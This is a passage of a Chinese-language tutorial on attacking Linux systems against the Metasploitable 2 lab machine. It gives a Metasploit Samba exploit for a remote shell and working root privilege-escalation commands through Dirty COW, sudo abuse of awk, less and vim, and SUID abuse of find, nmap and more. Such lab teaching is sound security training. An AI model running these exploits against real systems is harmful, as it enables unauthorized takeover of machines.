Linux系统安全攻防技术( 二 )


 
2. 攻击Samba服务的漏洞
例如在metapsloitable2靶机中,samba服务存在漏洞,导致攻击者可以得到靶机的shell 。
use exploit/multi/samba/usermap_script
set rhost remote_ip
exploit

Linux系统安全攻防技术

文章插图
 
得到shell 。
 
(三)权限提升
权限提升的方法很多,主要介绍四种方法:内核漏洞提权、sudo提权、suid提权和capabilities提权 。提权的主要目的是实现对目标系统更大程度的控制,提权所使用的技术也可以作为后门来使用 。
 
1. 内核漏洞提权
通过内核漏洞进行提权的方法很多,这里介绍脏牛(dirty-cow)漏洞提权 。
例子:Linux系统(metasploitable 2)通过脏牛漏洞提权
(1) 获取源代码
//登录目标系统:
ssh user1@target_ip
EXP下载地址:https://github.com/FireFart/dirtycow
 
(2) 提权
//在目标系统中编译源代码,生成可执行文件,名为dirty
gcc -pthread dirty.c -o dirty -lcrypt
//运行dirty程序开始提权
./dirty abcd1234 //指定口令
Linux系统安全攻防技术

文章插图
 
提权的准备已经完成了,可以看到/etc/passwd文件已经变成了二进制文件 。接下来就可以切换到root身份了 。
su - firefart //切换到firefart用户,输入前面设置的口令
Linux系统安全攻防技术

文章插图
 
从图中可以看到,用户的uid为0,提权成功了 。
 
2. sudo提权
推荐阅读:《centos 7系统配置sudo策略(附sudo提权演示)》
https://www.freebuf.com/articles/system/243526.html
该文章介绍了sudo提权的方法 。
 
例子:Linux系统(metasploitable 2)通过sudo提升权限
//查看当前用户允许通过sudo执行的命令
sudo -l
Linux系统安全攻防技术

文章插图
 
从sudo -l的返回结果来看,系统允许以sudo的方式执行awk、less、vim这三个命令 。
 
//sudo awk提权
sudo awk 'BEGIN {system("/bin/bash")}'
Linux系统安全攻防技术

文章插图
 
sudo awk提权成功,得到了root shell 。
 
//sudo less提权
sudo less /etc/lsb-release
Linux系统安全攻防技术

文章插图
 
在less的底部输入!/bin/bash,可以看到提权成功,得到了root shell 。
 
//sudo vim提权
sudo vim -c '!bash'
Linux系统安全攻防技术

文章插图
 
提权成功,得到了root shell 。
 
3. suid提权
推荐阅读:《CentOS 7系统利用suid提权获取Root Shell》
https://www.freebuf.com/articles/system/244627.html
该文章较详细地介绍了suid提权获取root shell的方法 。
 
例子:Linux系统(metasploitable 2)通过suid程序提升权限
//使用find命令在系统中查找具有suid标志位的文件
find / -perm -u=s -type f 2>/dev/null
假设攻击者找到了find、nmap、more这三个可执行文件设置了suid,那么下面尝试进行提权 。
 
//使用带有suid的find命令进行提权
find . -exec /bin/sh -p ; -quit
Linux系统安全攻防技术

文章插图
 
使用find命令进行提权 。查看看到,find命令通过exec参数创建了一个子进程,这个子进程的euid为0,因此这个子进程是一个root shell 。
 
//使用带有suid的nmap命令进行提权
echo "os.execute('/bin/bash -p')" > /tmp/shell.nse
nmap --script=/tmp/shell.nse 127.0.0.1
Linux系统安全攻防技术

文章插图
 
得到了root shell 。这个root shell有个特点,就是看不到输入的命令,只能看到执行的结果 。
 
//使用带有suid的more命令进行提权
more /etc/profile
//在底行输入
!/bin/sh -p
Linux系统安全攻防技术

文章插图
 
可以看到,也得到了root shell 。使用more打开的必须是一个在当前屏幕中无法完全显示的文件,这样才会出现底行,提示显示的百分比,攻击者才能输入!/bin/sh -p
 
4. capabilities提权
推荐阅读:Linux系统利用可执行文件的Capabilities实现权限提升


推荐阅读